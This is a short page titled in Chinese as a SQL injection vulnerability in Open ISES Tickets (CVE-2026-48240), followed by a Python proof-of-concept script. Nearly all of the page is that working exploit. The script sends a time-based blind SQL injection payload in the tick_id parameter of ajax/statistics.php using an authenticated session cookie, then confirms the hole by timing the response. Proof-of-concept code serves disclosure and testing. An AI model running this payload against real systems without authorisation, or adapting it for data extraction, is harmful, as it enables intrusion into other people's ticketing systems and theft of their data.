CVE-2026-48240 Open ISES Tickets存在SQL注入漏洞

import requests def check_sqli(url, session_cookie): """ Proof of Concept for CVE-2026-48240 Tests for SQL Injection in ajax/statistics.php """ target_endpoint = f"{url}/ajax/statistics.php" # Headers to simulate a browser request headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } # Payload to trigger SQL Injection (e.g., time-based) # Testing if the database sleeps for 5 seconds payload = "1' AND SLEEP(5)-- -" # Data parameters based on vulnerability description data = { "tick_id": payload, "f_tick_id": "1" } # Cookies for authentication (Required as per PR:L) cookies = { "PHPSESSID": session_cookie } try: print(f"[+] Sending payload to {target_endpoint}") response = requests.post(target_endpoint, headers=headers, data=data, cookies=cookies, timeout=10) # Check response time to confirm time-based blind SQLi if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability Confirmed: SQL Injection detected via response time.") else: print("[-] Vulnerability not detected or payload incorrect.") except requests.exceptions.RequestException as e: print(f"[Error] Request failed: {e}") if __name__ == "__main__": target = "http://target-openises-ticket-system" # Replace with a valid authenticated session ID sess_id = "valid_session_id_here" check_sqli(target, sess_id)